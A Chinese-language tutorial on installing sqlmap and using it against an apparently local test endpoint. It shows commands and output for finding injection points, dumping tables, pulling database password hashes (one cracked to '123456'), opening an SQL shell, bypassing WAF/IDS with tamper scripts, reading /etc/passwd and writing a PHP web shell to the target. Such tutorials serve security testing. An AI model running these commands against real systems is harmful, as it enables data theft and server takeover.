sqlmap最新版安装和使用技巧(sql注入漏洞检测工具)
sqlmap
sqlmap安装
一款用于sql注入漏洞检测的工具
官网:http://sqlmap.org/
把压缩包解压,重命名,放在安装的Python根目录下,并且配置环境变量(sqlmap高版本已支持python3,全都下载最新版就行):
C:\Python\Python38\sqlmap
打开命令行,输入:sqlmap -h
出现sqlmap信息则表示安装成功。
sqlmap使用
使用SQLMap进行SQL注入攻击的基本步骤如下:
1、检测「注入点」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan
sqlmap -u "http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan"
如果某个参数存在注入,会提示这个参数易受攻击,并且会列出此参数布尔盲注、时间盲注、联合查询的payload,和数据库信息,结果保存在log文件中。
back-end DBMS: MySQL >= 5.0.12
2、查看所有「数据库」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --dbs
列出所有的数据库,第一步监测出注入点后,后面步骤的运行将非常快,且无需再选择各种选项。
back-end DBMS: MySQL >= 5.0.12
available databases [6]:
[*] flyway2022
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test
3、查看当前接口使用的数据库
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --current-db
显示当前接口服务的数据库名。(注意--current-db中间没有空格)
back-end DBMS: MySQL >= 5.0.12
current database: 'test'
4、查看「数据表」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test --tables
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D flyway2022,test --tables
列出指定库的所有表名。(-D xxx 表示指定库名,多个库使用逗号分隔,其他使用方式相同,--tables表示列举所有表)
back-end DBMS: MySQL >= 5.0.12
Database: test
[1 table]
+----------+
| testuser |
+----------+
5、查看「字段」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test -T testuser --columns
列出指定库指定表的所有字段名。(-T xxx表示指定表名 --columns表示列举所有字段)
back-end DBMS: MySQL >= 5.0.12
Database: test
Table: testuser
[4 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| name | varchar(255) |
| age | varchar(255) |
| id | int(11) |
| uid | int(11) |
+--------+--------------+
6、查看「表数据」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test -T testuser --dump
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test -T testuser --start 1 --stop 3 --dump
列出指定库指定表的所有数据。(--dump 列出数据,并且会在指定目录下生成一个excel文件保存数据);默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。
back-end DBMS: MySQL >= 5.0.12
Database: test
Table: testuser
[5 entries]
+-------+-----+-----+----------+
| id | uid | age | name |
+-------+-----+-----+----------+
| 99727 | 55 | 9 | lisi |
| 79543 | 55 | 9 | lisi |
| 76281 | 55 | 9 | lisi |
| 18067 | 1 | 9 | lisi |
| 32481 | 1 | 90 | zhangsan |
+-------+-----+-----+----------+
7、查看「某一字段数据」
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test -T testuser -C name --dump
列出指定库指定表指定字段的所有数据。(-C xxx指定字段)
back-end DBMS: MySQL >= 5.0.12
Database: test
Table: testuser
[5 entries]
+----------+
| name |
+----------+
| lisi |
| lisi |
| lisi |
| lisi |
| zhangsan |
+----------+
8、拖库
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -a
获取所有内容(很慢)
这是最普通url的注入方式,实际接口肯定更加复杂,如需要认证、请求头、cookie、body体等。
9、请求报文文件
sqlmap -r D:\request\sql1.txt
sqlmap -r D:\request\sql1.txt --dbs
sqlmap -r D:\request\sql1.txt -D test --tables
最推荐的方式,直接使用整个请求报文保存至文件,使用-r参数指定要扫描运行的请求文件。
10.获取数据库用户
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --current-user
获取当前登录数据库的用户
back-end DBMS: MySQL >= 5.0.12
current user: 'root@%'
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --users
获取数据库的所有用户名。(--users)
back-end DBMS: MySQL >= 5.0.12
database management system users [3]:
[*] 'mysql.session'@'localhost'
[*] 'mysql.sys'@'localhost'
[*] 'root'@'%'
11、获取用户密码
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --passwords
获取所有数据库用户的密码(--passwords)。数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。
获取密码时会提示你是否是否保存密码的hash到文件中,方便后续破解;和是否使用彩虹表尝试破解密码。
back-end DBMS: MySQL >= 5.0.12
database management system users password hashes:
[*] mysql.session [1]:
password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] mysql.sys [1]:
password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] root [1]:
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
clear-text password: 123456
12、获取用户权限
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --privileges
查看每个数据库用户都有哪些权限。(--privileges)
back-end DBMS: MySQL >= 5.0.12
database management system users privileges:
[*] 'mysql.session'@'localhost' (administrator) [1]:
privilege: SUPER
[*] 'mysql.sys'@'localhost' [1]:
privilege: USAGE
[*] 'root'@'%' (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
13、判断当前用户是不是管理员
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --is-dba
判断当前登录的用户是不是数据库的管理员账号。(--is-dba)(有时会失效,不准确)
back-end DBMS: MySQL >= 5.0.12
current user is DBA: True
14、获取主机名
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --hostname
获取服务器主机名。(--hostname )
15、搜索库、表、字段。
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -D test --search
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -T users --search
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan -C username --search
搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。(--search )
可以选择模糊匹配[1]还是精准匹配[2]。
back-end DBMS: MySQL >= 5.0.12
found databases [1]:
[*] test
16、指定参数
sqlmap -u "http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan&pwd=123&age=18&title=abc" -p name --dbs
sqlmap -u "http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan&pwd=123&age=18&title=abc" -p name,pwd --dbs
sqlmap -u "http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan&pwd=123&age=18&title=abc" -p pwd --dbs
如果不通过-p指定参数,则SQLMap会尝试所有的参数进行注入测试。如zhangsan&pwd=123&age=18&title=abc,此处4个参数都会被尝试。
注:如果url中包含多个参数,需要用""包围,否则会报错。
17、SQL交互shell
sqlmap -u http://10.70.103.157:8067/test/queryByNameSQLI?name=zhangsan -–sql-shell
获取sql交互shell(-–sql-shell)
获取sql交互shell(-–sql-shell)
18、绕过
sqlmap -u http://127.0.0.1:8067/test/queryByNameSQLI?name=zhangsan --dbs --tamper space2comment.py
指定绕过脚本,绕过WAF或ids等。(--tamper xxx)
SQLmap内置了很多绕过脚本,在 /sqlmap/tamper/ 目录下,
脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格,
当然,你也可以根据内置脚本格式,自己定义绕过脚本。
19、其他
--batch (默认确认)不再询问是否确认。
--method=GET 指定请求方式(GET/POST)
--random-agent 随机切换UA(User-Agent)
--user-agent ' ' 使用自定义的UA(User-Agent)
--referer ' ' 使用自定义的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 设置线程数,最高10
--level=1 执行测试的等级(1-5,默认为1,常用3)
LV2:检测cookie中是否含有注入
LV3:检测user-agent、referer是否含有注入
LV5:检测host是否含有注入
--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
1. -p "username,id" # 指定要扫描的参数
3. --skip="id,user-agent" # 排除指定的扫描参数
2. --data="user=1&pass=2" # 指定扫描的参数,get/post都适用
3. --param-del=";" # 改变分隔符,默认是&,因为有些网站不实用&传递多个数据。
4. --cookie="security=low;PHPSESSID=121123131" # 使用cookie的身份认证
5. --drop-set-cookie # 有时候发起请求后,服务器端会重新Set-cookie给客户端,SQLmap默认会 使用新的cookie,这时候可以设置此参数,表示还是用原来的cookie。
6. --user-agent="aaaaaaaaa" # 使用浏览器代理头
7. --random-agent # 使用随机的浏览器代理头
8. --host="aaaaa" # 使用主机头
9. --referer="aaaaaa" # 使用referer头
10. --headers="host:aaaa\nUser-Agent:bbbb" # 有些网站需要特定的头来身份验证
11. --method=GET # 指定请求方式,还有POST
12. --auth-type Basic --auth-cred "user:pass" # 身份认证,还有Digest、NTLM
13. --auth-file="ca.PEM" # 使用私钥证书去进行身份认证,还有个参数--auth-cert,未知用法。
14. --proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标,代理软件占用的端口在8087
15. --proxy-cred="name:pass" # 使用代理时的账号和密码
16. --ignore-proxy # 忽略系统级代理设置,通常用于扫描本地网络目标,本网段。
配置目标行为
1. --force-ssl # 使用HTTPS连接进行扫描
2. --delay="3" # 每次http请求之间的延迟时间,默认无延迟
3. --timeout="10" # 请求超时时间,浮点数,默认为30秒
4. --retries="1" # http连接的重试次数,默认3次
5. --randomize="id" # 长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??
6. --safe-url="" # 检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session
7. --safe-freq # 每发送多少次注入请求后,发送一次正常请求,配合--safe-url使用。
8. --time-sec="3" # 基于时间的注入检测相应延迟时间,默认5秒
9. --union-cols 6-9# 默认联合查询1-10列,随--level增加,最多支持100列。
10. --union-char 123 # 联合查询默认使用null,极端情况下可能失败,此时可以手动执行数值
11. --technique US # 指定检测注入时所用技术,默认情况下Sqlmap会使用自己支持的全部技术进行检测,有B、E、U、S、T、Q
高级注入参数
1. --udf-inject,--shared-lib # 编译共享库创建并且上传至DB Server,依次生成UDF实现高级注入
2. --file-read="/etc/passwd" # 文件系统访问
3. --file-write="shell.php" --file-dest "/tmp/shell.php" # 写文件到目标位置
4. --sql-shell # 进入交互式mysql窗口
5. 操作系统访问
6. 注册表访问
7. sqlmap.py -u http://navisec.it/123.asp?id=1 --tor -tor-type=SOCKS5 --torport=9050 --check-to